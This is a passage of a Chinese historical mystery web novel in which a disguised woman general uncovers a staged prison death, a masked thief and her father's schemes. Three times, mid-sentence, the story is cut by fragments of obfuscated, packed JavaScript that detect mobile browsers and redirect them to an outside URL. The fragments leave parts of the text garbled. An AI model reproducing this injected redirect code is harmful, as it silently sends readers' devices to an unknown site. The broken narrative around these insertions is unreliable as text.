“这人真是好狠的心。”刘舞起不知何时凑了过来，咋舌道。 “我看不然，这封信乍一看确实满纸薄情寡义，但是你看最后一句。”应如是指着最后几个字，“既然无情无义，何来‘珍重’二字？” “只是一句客套话，还能当真？”刘舞起一脸不以为然。 应如是没有回答，只是：“我总觉得这封信有些奇怪，写信之人像是刻意要与阿丛断绝关系……但或许如你所说，是我想多了。” “你是如何找到这些的？”刘舞起问道。 “阿丛死前托我将这些东西交给她姐姐。”应如是说到此处，神色又黯淡下来。 “我已经让人去大理寺将她的尸首领回来了。”刘舞起停顿了一下，小心翼翼地问道，“你可要再去看她最后一眼？” 应如是想了一会儿，最后还是摇了摇头：“逝者已矣，让她早日入土为安吧。” 刘舞起刚要离开，忽又听她问道：“明心回来了吗？” “并没有。你怎么关心起他来了？”刘舞起疑惑地看着她。 “以他的能力，应该很快能找到阿丛的姐姐。” 赴仙楼一事后，想必江明渊不会将她留在府中。若是她还活着，这些遗物也能有个归处。 另一边，明心护送江若微回江府。一路上，江若微情绪有些低落，最后竟然低声抽泣起来，明心一边赶着车，一边听着里面的动静，本想着睁只眼闭只眼，权当不知情。 谁料，江若微忽然掀开帘子，红着眼问道：“明心公子，你和应将军关系亲近么？” “不算亲近。”明心斟酌后答道，心中却疑惑这个大小姐为何有此一问。 “他可有心仪之人？”江若微又问。 如此直白的话语让明心挥着马鞭的手停滞了一下，他不由想起在军营里的那些时光，她是那般殷勤，态度却又是那般强硬，逼着自己做一些破戒之事。 原以为她视人如同玩物，是个品行低劣之人，后来跌下山崖，得知她女子身份后，自己忍不住在想：难道她之前做的那些都是出于爱慕之情？但是她的态度却急转而下，忽然变得冷淡疏离，让人心生困惑。 江若微见他久久不语，以为是默认了，神情更加落寞：“他真的已经心有所属了吗？怪不得刚才对我说出那番话来……” “我并不知晓。”明心叹道，心中突然有种淡淡的惆怅感挥之不去。 没想到，这句话竟让江若微重新振作了起来。在她看来，只要一切未有定论，她就还有机会。 三司推事的结果当日便呈给了天子，天子除了对应如是予以安抚之外，还答应了她的一个请求，即让她参与到案件的调查中来。 照她的话说就是：既然有人想要栽赃陷害，那她便奉陪到底，看看这幕后之人究竟是谁。 这个要求合情合理，天子欣然同意，但是薛茗却对此颇有微词。 同样不快的还有江明渊，在得知应如是离开大理寺后，他气得掀了桌，砸坏了府中好些东西。 下人们战战兢兢不敢吱声，就连前来传信的小厮都犹豫着要不要进去禀报，所以江明渊收到香铺传信之时，已经临近约定的时辰。 他匆匆赶到香铺，见贵人已在屋里等着了。 屋内的气氛压抑得让人喘不过气来，满室的熏香又让人飘然欲醉，江明渊不得不提起万分精神应对即将来临的暴风雨。 等到汗水流进眼中模糊了视线，里面的人才终于开口：“江大人事情办得真不错啊！” “是下官轻敌了，还望贵人再给一个机会。”江明渊卑微地乞求道。 他知道办事不利的下场，心中极为不安，只希望贵人能够看在往日的情面上网开一面，饶恕自己这一次。 “你想如何收尾？”里面的人问道。 江明渊立马答道：“下官会处理掉与此事有关的所有人，绝不留下后患。” “去吧，别再让我失望了。” 应如是接下来的几天都待在大理寺中，就现在的情况来看，虽然凶手已经确定，但其中依旧有很多谜题未解开，比如：诱使他犯案的幕后之人是谁？何大勇畏光，白天几乎无法在外行走，他是如何找到那些孩童，又是如何将尸体运出城外的？ 谢庭舒将迄今为止与案件有关的所有卷宗都交予他翻阅，自己则是从旁协助，满足他的一切要求。 虽然那天她没有参与三司推事，但从旁人口中听说了应如是以一敌三的英勇事迹，加上之前的种种，她越发对应如是感到好奇—— 敏锐的洞察力、细致的分析以及合理的判断，是掌治刑狱断案必须具备的良好品质，缺一不可，而他三者兼具，是个难得一见的天才。 在他的身上，总能看到一些故人之姿。可他偏偏是个上阵杀敌的武将，不知该说是暴殄天物还是能者多劳？ 谢庭舒正是唏嘘不已之时，应如是终于发现了一些端倪。 “何大勇的死因是剧烈撞击导致的头骨碎裂。”应如是拿着仵作的验尸单说着。 “不错，尸体我也看过，整个脸都撞烂了。”谢庭舒回忆起他的死状，忍不住哆嗦了一下。 “疑点在此。”应如是忽然看向她问道，“你觉得他是怎么死的？” “除了撞墙，还能有其他死法吗？”谢庭舒反问。 “大理寺狱的牢房不过一丈见方，一次性撞死的可能性不大。”应如是起身走至墙角，“若想要撞死，唯有多次连续的撞击，像这样。” 在谢庭舒的一声疾呼中，她作势要往墙上撞去，堪堪停在了距离墙面一寸的距离。 “那便是这个角度。”应如是自语道，而后回来后画了一张图。 这是一张人脸图，在鼻梁及其额头中央的区域用朱笔标记出来：“这是我推测出来的撞伤，你看看与仵作描画的可有不同？” 两者的区别是显而易见，仵作所绘之图中伤痕几乎遍及整张脸，甚至连唇下都有轻重不一的擦伤。 谢庭舒渐渐明白过来，而后大惊失色。 “尸体可还在大理寺中？”应如是问道。 谢庭舒点头，二人一同前往殓房，恰好和大理寺的仵作吴淼打了个照面。 来人看不出年纪，面色苍白如纸，眼周一圈青黑，整个人看着阴气十足，活像黑无常。 “吴仵作，何大勇的尸体置于何处？”谢庭舒问道。 “小的正要去复验尸体，大人请随我来。”吴淼的声音也透着阴森鬼气，犹如一条湿软黏腻的蛇爬上人的心头，让听者不适。 何大勇的尸身溃烂严重，皮肤上留有大片密集的风疹，这都是见光所致。因他生前主动认罪，所以审讯之时并未对他动刑，故而身上并无其他外伤。 “若是生前所受外伤不甚明显，可有办法验出？”应如是问道。 “可用梅饼一试。”吴淼答道。 官差将尸体抬入院中央，外面日头正盛，于是撑起油伞遮蔽之。 吴淼取来白梅、葱椒、酒槽、食盐一齐放在罐中捣烂，制成一个个拳头大小的饼子，在炭火上烤热。 “大人怀疑何处？” “后颈、肩头以及手腕。”应如是指着这几处说道。 吴淼在这些地方贴上藤连纸，再将梅饼置于纸上，静待半柱香时间，尸身上渐渐显现出一些黑褐色的淤痕。 谢庭舒仔细察看这些伤痕的大小、形状，心中有了一个猜测：“难道这些都是……” “是束缚伤。”吴淼答道。说完他又在其胸前、腹部等几处放置了几块，有些地方也出现了一些痕迹。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15367262|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >应如是由此推演：“死者生前曾与人搏斗，后被制住，又被人按住后颈撞墙，以此制造出自杀的假象。” “说的在理。”谢庭舒想了想又说道，“那当时与他在同一间牢房的犯人很有可能就是凶手。” 二人对视一眼，急忙赶到大理寺狱，唤来狱卒询问后才得知这些人早已不在狱中。 “卑职有印象，是三名强盗。一人脸上有一道长到嘴角的刀疤，一人轻微跛足，还有一人右耳缺了一块。当日右少卿大人审完定罪后就出狱了。”狱卒说道。 “你为何记得如此清楚？” “他们刚入狱便吵吵闹闹的，卑职告诫过几次，但都不管用。” “何大勇惨死狱中，他们就没有嫌疑吗？为何如此轻易放他们出狱？”应如是不解地看向谢庭舒问道。 “且不说何大勇死亡是后来才知晓的，像是偷盗行窃这类常见罪行，多以罚银、杖刑和徒刑论处，定罪论罚很快且不用移送刑部复核。”谢庭舒解释道，“此刻那三人怕是已在受刑，下官即刻派人将三人找回。” 以幕后之人的深谋远虑，恐怕三人是凶多吉少了。应如是心中想着，但没有说出口。 线索到此算是又断了，案情似乎走向了死胡同。 应如是开始焦躁起来，线索在脑中缠乱如麻，没有丝毫头绪。 她恍然想起很多年前，外祖父抱着年幼的自己坐在膝头上，一边处理公事一边回答自己时不时提出的稚嫩问题。 有一次，看着桌案上堆积如山的卷宗和案牍，她忽然问起外祖父一件事：“外祖父，你有没有断不了或断错的案子？” 外祖父手中疾书的笔停顿了一下，一滴墨在纸上洇开，他遂将笔搁下，看向自己的眼神严肃而认真：“阿棠，人非圣人也非神人，犯错或是做不到都是常有的事。但是作为断人生死、定人前程的朝廷命官，唯一能做的便是细之又细、慎之又慎，不放过每一个细节、不忽视每一个不合理性，若是遇到死路，那便从头走起。只要是人为之事，就不可能天衣无缝，总会留下破绽。断案切忌失了理性，一切从线索出发，加之合理推断，方能避免错判冤案。” 思及此，应如是深吸了口气，努力让自己冷静下来，开始整理迄今为止掌握到的所有线索。 从童谣案开始，董维暴露后自刎，引起国子监内乱，再到凶手忽然现身，狱中被杀，留下存疑血书……中间似乎还漏了什么。 应如是忽然看到谢庭舒腰间所系玉佩，那个被她遗忘的人终于浮出水面。 既然玉佩被偷后出现在凶手家中，那么这个小偷定然也是本案相关之人。只要找到他，说不定能问出些什么。 应如是拿起上次三司推事之时杨展递上的窃贼画像，仔细观看了许久。谢庭舒也探头过来相看，两个人同时看入了神。 “此人有种说不来的感觉。”谢庭舒自语道。 “你也如此觉得？”应如是问道。 “总感觉这人的面相不似常人……” 只见画像上那人长发披肩，脸颊宽方，窄额塌鼻，嘴唇丰厚，确实有种说不出来的怪异感。 应如是回忆起那日情景，忽然眼睛一亮：“觉得奇怪就对了！” 感受到来自谢庭舒不解的目光，她又道：“因为这张脸根本就是假的。” 应如是拿起笔在画像上画下横竖几条线，将他的脸分成一块块区域，边解释道：“曾经有人告诉我，人的面部五官常以三庭五部为标准，一般人虽无法完全满足这个标准，却也不会偏差过多。但你看这人，上庭如此窄，脸部又如此宽，非寻常之人的长相。” 谢庭舒若有所思地点头：“难怪看此人的脸总觉得不舒服。” “这种情况下，要么此人天生畸形，要么就是这张脸根本就不存在。”应如是继续说道，“那日我报官后虽留下画像，但却疑此人戴了假面皮。现在看来，这张脸极有可能并非窃贼的真实面容，所以捕快寻了这么久也没抓到人。” “原来如此。”谢庭舒附和道，但由此产生的一个新问题困扰着她，“若画像无用，我们该如何找到他？” “谁说画像无用的？”应如是笑道，“一个人虽然可以易容换貌，但是唯有一样是做不得假，骗不了人的。” “是什么？” “眼睛。” 应如是提笔将除了眼睛之外的部分全部抹去，只留下一双眸子，透着几分奸滑狡诈。 二人几乎异口同声说道：“原来是他！” 27. 第二十七章 明心果然不负所望，他的人几天时间便探到了消息。 阿丛的姐姐名唤花娘，现在是云香楼里的一个娼妓。应、刘二人去到那里的时候，花娘正在接客，她们便在隔壁房间里等着。 隔壁的动静不小，只不过不是那些令人面红耳热的声音，听得叫人浑身发冷。 鞭子的抽打声夹杂着男人的污言秽语，与之相比下，女人的惨叫求饶倒是听不真切。 应如是几次想要破门而入，但都被刘舞起摁住了：“你救得了她一时，能救得了她一辈子吗？青楼这个地方，不是你治下的军营，若你现在去救她，信不信一离开，老鸨就会将她打死。” 应如是一脸阴郁不忿，握着刀柄的手几次紧了又松，好在没多久，隔壁便消停了。 一个衣衫不整、膘肥体胖的中年男人走出来，脸上还残存着激情过后的红晕。 应如是觑准时机，猛地一开门、一伸脚，那人不及躲闪，先是被门撞得晕头转向，后又被脚绊得摔了个狗啃泥，好生狼狈。 在他还没反应过来之前，应如是就大步流星地从他身上跨过去，刘舞起紧随其后，还顺口骂了句：“晦气东西。” 隔壁房间里，花娘正在梳妆，脸上红肿不堪，还有未干的泪痕，轻薄的纱衣根本遮不住满身的青紫和交错纵横的鞭痕。 见房间里来了客人，她立马披了件纱衣迎上来，脸上扯出一个比哭还要难看的笑容。 “这位官人面生得很，是第一次来花娘这里吧？”娇甜的声音让人骨酥筋麻。 刘舞起一个箭步挡在应如是面前，隔开了她想要攀附的纤细手臂，同时正色道：“我们不是来寻欢作乐。” “那你们是何人？”她的声音陡然一冷，神情戒备地看着两位不速之客。 “你还记得我吗？”应如是再次站到她面前。 花娘的表情由一开始的茫然逐渐转为惊恐：“是你！” 应如是刚要上前，却见她连连后退，神情状似疯癫，口中不停念叨着：“别怪花娘，花娘也是被逼的……” “花娘，我们是为你妹妹阿丛而来的。” 听到“阿丛”两字后，她渐渐安静了下来。应如是又将画拿出来给她看，她这才放下防备。 “阿丛在哪儿？”花娘问道。 应、刘二人对视了一眼，都有些犹豫要不要说实话。 花娘敏锐地察觉到了什么，不停地追问着：“她怎么了？你们把她怎么了？” “她死了。”刘舞起的一句话便让她面如死灰，跌坐在地。 “这是她的遗物。”应如是将包袱给她。 花娘打开包袱，仔细看着每一样东西，仿佛在重塑着她过去的点点滴滴，神情时而温情，时而悲伤。 当拿到那封信的时候，她的神色忽然一变，抬头看向二人，眸中有种不顾一切的疯狂：“她是怎么死的？” 应如是答道：“她受人指使诬陷我不成，便服毒自尽了。” “是他！”花娘几乎是脱口而出，随之而来的疑惑、怨恨等各种情绪交织在她脸上，让她面目狰狞、痛苦万分，“可是为什么？他明明答应过我，为什么要骗我？” “他是谁？”应如是问道。 “江明渊。”花娘恨不得将这三个字嚼碎，咽入腹中。 一个意料之中的回答，应如是脸上并无惊讶之色。其实在她得知阿丛是花娘的妹妹之时，她就开始怀疑这一切与江明渊有关。 “你有何证据？” 花娘拿出那封信说道：“这封信是我写的，本想让阿丛远离京城这个是非之地，不为我所累，可是她却为我攒下银钱赎身，可我只告诉她做了有钱人家老爷的通房，她是如何得知我的处境的？” “或许只是偶然发现。”刘舞起提出一个可能。 “这种烟花巷柳之地岂是她会来的地方？而且，你说她受人指使，可她本性纯良，怎会平白无故去构陷他人？定是有人拿我去要挟她，逼她做出这种事，这一切都是我的错，是我害了她。” 应如是看她如此难受的样子，却一句安慰的话也说不出来，因为自己才是逼死她妹妹的“元凶首恶”。 一时间，应如是心中刺痛得无法呼吸，良久她才缓和了情绪，艰难地开口：“你若是想离开这里，我们可以帮你。” “离开？”花娘忽然露出一个难以言喻的苦涩笑容，“身边唯一的亲人也死了，我还能去哪里？你们走吧，我累了。” 逐客令已下，应、刘二人只能离开。在门合上之前，应如是留下一句话，像是对她的承诺，又像是自己的决意：“待我查清楚，一定会让他付出代价。” 然而，她们刚走没几步，凄厉的嘶吼以及持续不断的痛哭声传入耳中，犹如地狱中的厉鬼悲鸣，只是这声音淹没在青楼的欢歌笑语声中，并未引起旁人注意。 出了云香楼，一路上应如是都有些心事重重的，这让刘舞起很是不解：“事情既然有了眉目，为何你还是如此忧心？” “我现在担心的是江若微，她为我作证，怕是江明渊知道了不会放过她。” “江若微是他的亲生女儿，他应该不会过分苛责吧？”刘舞起说道。 “那你是不了解他。”应如是轻叹道。 那些童年时的受罚经历，她至今都无法忘怀，时常以噩梦的形式，徘徊在午夜梦回之时，让她感觉如坠深渊。 事实证明，应如是说的没错，就算女儿已经不是原来的女儿，他对待女儿的方式却是丝毫未变，这是从春台的口中得知的。 这天，春台冒雨跑来敲开将军府的大门。蒋管家听说她是江小姐的侍女，立刻将她引至东院。 应如是正与明心对弈，春台一见到她，二话不说便跪在地上。 “你家小姐出什么事了？”没等春台开口，应如是便问道。 “求将军救救我家小姐，春台给您磕头了。”春台浑身上下淋得透湿，鞋只穿了一只，尽显狼狈。 应如是眉头蹙紧，这几天她一直心神不宁的，江若微的情况无法打探到，今日本想找明心商量对策，然而还没来得及开口，春台竟然找上门了。 虽然心中已经做了最坏的打算，但见到昔日骄横跋扈的侍女这般放下姿态，应如是心中越发忐忑不安。 “你先起来，好好与我说。”应如是阻止她盲目的磕头行为，托着她的手臂扶她起身，还拿了一件外衫给她披上。 明心为她倒了一杯热茶暖身，她这才平复了情绪，说起了江若微这些天的遭遇。 原来江若微回去没多久便被江明渊发现了。消息是谁泄露的已经不重要了，只知道江明渊得知女儿私自外出后格外震怒。 信善堂前，一众仆从侍婢跪倒一片，地上散落着无数的瓷器碎片。 “这么多人连小姐都看不好，要你们这帮废物有何用？来人！”江明渊的这句话让所有人都失了魂。 很快，从外面涌进来许多侍卫，个个凶神恶煞的，好不吓人。 “所有人都拖出去打二十大板。”江明渊发话道。 堂间一片寂静，无人哭喊哀嚎，每个人皆是一副逆来顺受的模样，仿佛早已习惯了一般。 其实他们心里都清楚，如果此时谁人敢叫嚷，那便不是一顿板子，而是一卷草席的事了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399260|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江若微得知此事后匆匆赶来，她自己的过错并不想连累这么多人受罚，但见江明渊的脸越发沉郁，心中已是畏惧万分。 “父亲，女儿知错了，下次绝不会违逆父亲的意思，还望父亲原谅女儿这次，饶恕下人们。”江若微伏低身子，声音带着哭腔。 江明渊却笑了起来：“若微何错之有啊？” “女儿不该瞒着父亲偷跑出去，让父亲担心。”江若微承认道。 “你可知之前为父为何对你禁足？” “女儿出门遭遇贼人，差点清白被毁，父亲担忧女儿的安危，因而将女儿禁足院中。” 江明渊吼道：“错了，全错了。” 说完，他一把将江若微提了起来，眼神中的狠厉似要将她撕碎。 “你为何不明白为父的苦心？”江明渊一瞬间又变得像是一个恨铁不成钢的严父，语气中满是失望，“你和那镇南将军牵扯不清，以为为父不知道吗？” 江若微双眸震颤，神情一下子变得晦暗无光：确实是自己妄想了，这些年有什么秘密能逃得过父亲的法眼？ 不知哪里来的勇气，江若微忽然抬起头直视他道：“女儿心悦于他，不知何错之有？” 江明渊第一次从女儿眼中看到了“倔强”，他先是惊愕，而后滔天的怒火便止不住涌上心头。 愤怒不仅仅源自女儿的忤逆，更多的是让他想起了另一个女儿，她曾经也以同样的眼神看向自己，朝自己叫嚣道：“我要见母亲。” 江明渊将她重重地摔在地上，任由满地的碎片划伤她的手臂：“你这个不孝女，为父真的白养你这么多年。他算什么东西？不过一个来自穷乡僻壤的粗野莽夫，怎能与你相配？故意接近你，无非是为了自己不可告人的目的，能安什么好心？” “父亲根本不了解他，何故诋毁？”江若微捂着手臂，不服气地说道。 “好啊！你竟然帮着一个外人来对抗自己的生父？看来今天不好好教训你，你就不知道自己姓甚名谁了！”江明渊怒极反笑，拿起戒尺便往她的身上打过去。 戒尺虽然不比藤条抽在身上让人疼痛，但是江明渊用了些力气，江若微并不好受，但她始终一声不吭，似要与他无声抗争到底。她这个样子更加激怒了江明渊，他下手越发不留情面。 王毓秋得知女儿被打的消息，虽然心如火煎，却并不前去求情。多年的夫妻让她深知江明渊的脾性，若是此时她现身，只会火上浇油，对她并无益处。 只是女儿受罚，身为母亲的她却什么也做不了，只能默诵佛经祈福祷告。看着面前慈眉善目的菩萨，王毓秋心中竟生出了一缕恶念。 这次的惩罚不同以往，江若微不仅被关进祠堂抄写女四书，还被禁食，每日只能用些茶水。 “小姐一直不肯低头认错，老爷也一直不肯松口。照这样下去，小姐怕是没几日光景了。”春台抹泪道。 应如是斥责道：“休得胡言！” 春台立马噤声，一个人默默地喝着茶，流着眼泪。 “要救她不难，直接闯到府内拿人便是，顺便教训一下那个老匹夫。”刘舞起走进来，毫不客气地说道。 应如是有些哭笑不得，但随后一想：虽然简单粗暴，但若真到了山穷水尽之时，这也不失为一个办法。但此事确实有些棘手，最好能让江明渊主动放人，只是如何去做，一时半会儿想不出好的计策。 这时，明心忽然开口道：“听闻之前每年上巳节之时都会在宫中举办春日宴。此宴由皇后牵头，邀请京中贵女及世家子弟赏花饮酒，实为相看姻缘。” 应如是听懂了他的意思：“此事我去办。” 28. 第二十八章 月黑风高之夜，万物沉寂之时。大理寺狱中静得只闻风声呼啸，犹如万鬼哭嚎。 冯晏辗转难眠，自从上次被捉拿后，他便一直待在狱中，期间被提审过几次，但仅仅走个形式。 前几日听闻孩童被杀案的凶手惨死狱中后，他便开始提心吊胆，总觉得灾祸也会降临到自己身上，于是惶惶不得终日。 细碎的脚步声传入耳中，冯晏立马警觉地坐起身，见一个狱卒向自己走来。 “你是谁？”冯晏问道。 “小声点，我是来救你出去的。”狱卒压低嗓音说道。 冯晏心中存疑，但还是向他走近，见他虽然一身公服，但面生得很，显然不是真的狱卒。 “事情没有泄露吧？”狱卒问道。 “守口如瓶。”冯晏答道。 “那就好。”狱卒说完后拿出钥匙，打开牢门。 冯晏这才放下心来，刚要与他一同出去，狱卒却不知不觉绕到他的身后，神情忽变，露出凶恶之色，迅速从袖中拿出腰带套住他的脖子。 一股巨大的力量拽着他往后倒去，脖颈间的束缚感让他瞬间反应过来，这人是来杀人灭口的。 此人力气极大，他完全挣脱不开，只能双腿用力蹬地。强烈的窒息感袭来，他脸上青筋暴起，双目赤红，无法出声呼救。 就在他濒临死亡之时，谢庭舒忽然带着官差闯了进来，狱卒想逃却已来不及，当场被拿下。 冯晏伏在地上不停喘息着，谢庭舒看着他，一脸冷漠地问道：“这下可以坦白了吧？” 原来，先前应、谢二人通过画像已经发现偷玉佩之人可能是冯晏，随后两人再次前往冯晏家中展开搜查，终于找到了藏于床下暗格之中易容换面的一应用具。 谢庭舒二次提审冯晏，但他装傻充愣、抵死不认，正要对他严刑拷问之时，却被应如是拦下了。 “莫急，我有一个法子可以让他心甘情愿地说出实情，运气好的话或许还能将他幕后之人一并带出。”应如是见她面带疑虑，又解释道，“既然凶手在狱中都能被杀，你觉得要是知道冯晏暴露了，幕后之人会放过他吗？” “你的意思是……” 谢庭舒话没说完便被打断，见应如是勾起嘴角，露出一抹势在必得的笑容：“且耐心等着看吧。” 于是，冯晏毫发无伤地回到狱中，之后每日都被传去讯问，但只是流于形式，也不对他用刑。除此之外，狱卒每天都会送来好吃好喝的供养他。 冯晏一开始以为是圈套陷阱，不敢食用半分，但见老鼠都吃得津津有味，也就不再顾虑了。 果然没过几天，幕后之人便按捺不住派出杀手，刚好被藏在暗处的眼线发觉，这才有了这一遭。 冯晏刚历生死，整个人像是霜打的茄子一样萎靡不振。此刻正是刑讯的好时机，谢庭舒自然不会错过。 “本官刚刚救了你一命，你还是不愿开口吗？” 冯晏回过神来，苍白的脸上全是惊恐，语气也失了冷静：“我说，我全都交代，还望大人护我周全。” 应如是虽然知道救人的办法，但是距上次迎春宴举办已经过去近十年，如何重开是个难题。 据说那年迎春宴上发生了一件不可告人之事才让春日宴搁置下去，这么多年过去了，当年发生的事情早已被人淡忘。想要重开，还需要一个由头。 应如是冥思苦想了几日，始终没有想到一个合适的理由。正是犯难之际，沈清识忽然登门拜访。 多日不见，他清减了许多，想必是为了国子监日夜操劳所致。张衍之离开后，国子监祭酒位置空缺，听说朝臣举荐多人，但陛下迟迟未下定论，也没有擢升沈清识的意思。 应如是知他不易，所以这些天发生的事一直没让他知晓，不想给他再添烦忧。 谁料，刘舞起将所有事情都告诉了他，他二话不说便“杀”到了府上。 应如是有些心虚地望着他，虽然觉得自己做得并无错处。 “是不是还觉得自己有理了？”沈清识看穿了她的心思，气极反笑道，“好一个镇南将军，这过河拆桥的本事当真是不赖！” 应如是讪然一笑，亲自为他沏茶赔罪：“小的知错了，还请沈司业大人不记小人过，原谅小的这次。” 沈清识用了茶，见她一副谄媚讨好的样子，心情终于愉悦了一些：“这次暂且原谅你，下不为例。” 应如是终于松了口气，转而说起正事：“其实刚好有一事想请你指教。” 于是，应如是将重开迎春宴的想法告知于他。 “其实迎春宴多年不开不仅仅是因为当年之事，主因还是党派之争。”沈清识说道。 “愿闻其详。” “你应该知道迎春宴不单单是个宴席吧！”沈清识解释道，“王孙贵女只要在迎春宴上看对眼，便可央求一道赐婚旨意。这某种意义上跨过了父母之命、媒妁之言，即便是对家也可结为亲家。” 应如是没想到竟然还有这样的内情，一下子就明白过来：“原来如此，因而那些参与党争之官员不会任由子女坏了规矩。” “若想重开此宴，怕是比登天还难。”沈清识叹道。 二人一时无话，应如是沉思许久确实寻不到一个好法子，索性坐下与他一同饮茶：“你今日前来，不会只是兴师问罪吧？” “差点忘了正事。”沈清识搁下茶杯正色道，“章廷之你可还记得？” 应如是不确定地问道：“那个安远伯之子？” “他是童谣案的主谋，就是他逼迫董维去做那些事的。多亏了他，我才能找到所有涉事荫生。”沈清识解释。 “我与他未曾谋面，他为何要陷害我？”应如是说完便反应过来，“难道他也是受人指使？” “我也是这般想的。像他这般纨绔子弟，只敢仰仗家族权势作威作福，像陷害朝廷命官这种事，他没这个胆子去做，恐怕他的背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415900|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后另有其人……但他口风很紧，只承认自己威逼利诱董维，不愿再言其他。” “之前我就猜想这一系列之事与党争有关，如今虽不能断定……” 她的话还没说完，便听到沈清识的声音传来：“我相信你的直觉。” 应如是一脸欣慰：“其实，我现在已经有了怀疑对象，只是苦于没有证据。” 紧接着，她将花娘之事细细说来，见沈清识有些出神，不由出声唤他。 沈清识回过神后继续说道：“这几天我还去查了章廷之的家族底细。其父章士楠是正四品安远伯，但并非世袭。他曾是前镇南将军莫崇澍的斥候，当年因告发莫崇澍通敌叛国受到圣上嘉奖，因而加官晋爵，成了现在的安远伯。” “你是说章士楠与莫将军一案有牵连？”应如是讶异道。 “莫将军的案子我知道的并不多，但从结果来看，章士楠显然是最大的受益者，他在此案中一定起到了举足轻重的作用。”沈清识不无遗憾道，“可惜具体的案情只能通过刑部的卷宗得知。” “我曾在莫将军手下待过一段时间，对他的为人也知晓一二，依我看，当年之事应该另有隐情。”应如是说完，思绪便飘回到了八年前。 那时，她刚入军中，是莫将军麾下的一名无名小卒。那一年，南北两国战事吃紧，一次大战后北商战败，莫将军带领残部退至山林藏匿。南庆的士兵连夜搜山，势要将北商主力剿灭干净。 如此危急之时，莫将军当机立断，不顾自身安危，亲率一个赴死小队将敌军引至水草丰茂之处，然后放火烧山。 为了保全大部分人，莫将军差点随敌军葬身火海，如此忠肝义胆之人怎会通敌叛国？ 见应如是许久不语，沈清识问道：“你在想什么？” “没什么，莫将军的事我们之后再议。”应如是扶额道。 “你也别太忧心了，我们再想想其他法子。”沈清识知她心中烦忧，劝慰道。 “郑丞相此人，你了解多少？”应如是沉吟了片刻，“既然皇后陛下那边无从入手，或许可以换个人。” “我和他并无私交，对他的了解可能和你差不多。”沈清识言道，“此人并非奸恶之徒，只是生性古怪，与他关系尚可的官员都屈指可数，想要与他打交道，怕是不易。” “这些我都知道。”应如是回想起他那张难辨喜怒的脸顿觉头痛，“难道他就没有什么喜好吗？” 二人不约而同沉思了一会儿，直到沈清识忽然提到一点：“喜好倒是不明，但他厌恶的人我却知道一个。” 应如是一脸希冀地听他继续说下去：“这么多年来，唯一一个为他厌弃之人就是江明渊。” “他们之间有何过节？” “具体我也不清楚，我入朝后曾听到他们二人不睦的传言。” “或许这是个突破口。俗话说的好，敌人的敌人可以成为朋友。”应如是眼睛一亮，像是有了主意。 29. 第二十九章 大理寺传来消息，冯晏已经交代了一切。 原来是有人给了他一大笔钱财，不仅让他偷玉佩，还让他将画像中的孩童引到城西的一户人家。这就解释了为何何大勇畏光还能残杀如此多孩童，因为孩童是自己送上门来的。 谢庭舒问他那人的长相如何，冯晏却答不上来，因为那人浑身上下裹得严实，连眼睛都看不清楚。 冯晏听闻孩童被杀后极为恐慌，也想过要报官，但那人却威胁他，说掌握了他的罪证，并扬言将全部罪责都推到他身上，最后他只能作罢。 运尸也是他做的。因为害怕被人撞见，他只敢夜里去取推车，每次取车时，推车上都已放好泔水桶，尸体就藏在泔水桶中。 守城士兵嫌脏，一般不会每个桶都察验，所以很容易蒙混过关，而为了不让守城士兵记住长相，他每次都变换容貌后出城。 至此，孩童被杀一案暂时告一段落，背后之人仍身处迷雾中，不现分毫。 那个假狱卒只是个拿钱消灾的亡命之徒，再多的拷问也不能让他说出任何有用的信息。 应如是则是一门心思扑在迎春宴上，与沈清识见后不久，她便提着礼品去了丞相府。 侍从拿着拜帖呈给郑齐修之时，他正在书房里练字，看到镇南将军几个字后愣了一下，一滴墨滴在纸上，毁了一幅好字。 “他来做什么？”郑齐修眉头一皱，刚要拒绝，但转念一想，还是改了口，“请他入府。” 应如是第一次来到丞相府，见府邸虽然谈不上富丽堂皇，但一景一物极为讲究，俨然是一个书香世家该有的气派。 郑齐修已在堂中等候，他已年过半百，一双鹰眸锐利且精明，透着森冷寒光，一看便知此人不好相与。 应如是拱手见礼，却见他连眼皮都没抬一下：“应将军光临寒舍所为何事？” “早就听闻郑相卓尔不群、不同流俗，晚辈心生敬仰，特来拜见。”应如是先是寒暄了一句。 “将军若是为了说这些客套话而来，那便请回吧。”郑齐修不留情面地回道。 应如是心道：此人果然生性古怪，难怪常人难以近身。既如此，那便冒险换一种方式。 于是，在众目睽睽之下，她忽然搬起一把椅子，与郑齐修面对面坐下。 郑齐修略带惊诧地看向他，虽然与他有过几面之缘，但印象中他并非这般举止无状之人。 “郑丞相，晚辈有事相商，可否屏退左右？”应如是一脸笑意地看向他，眼神中却带着尖锐的刺。 郑齐修遣散侍从，堂间一时寂静无比，空中弥散着暴雨将至的味道。 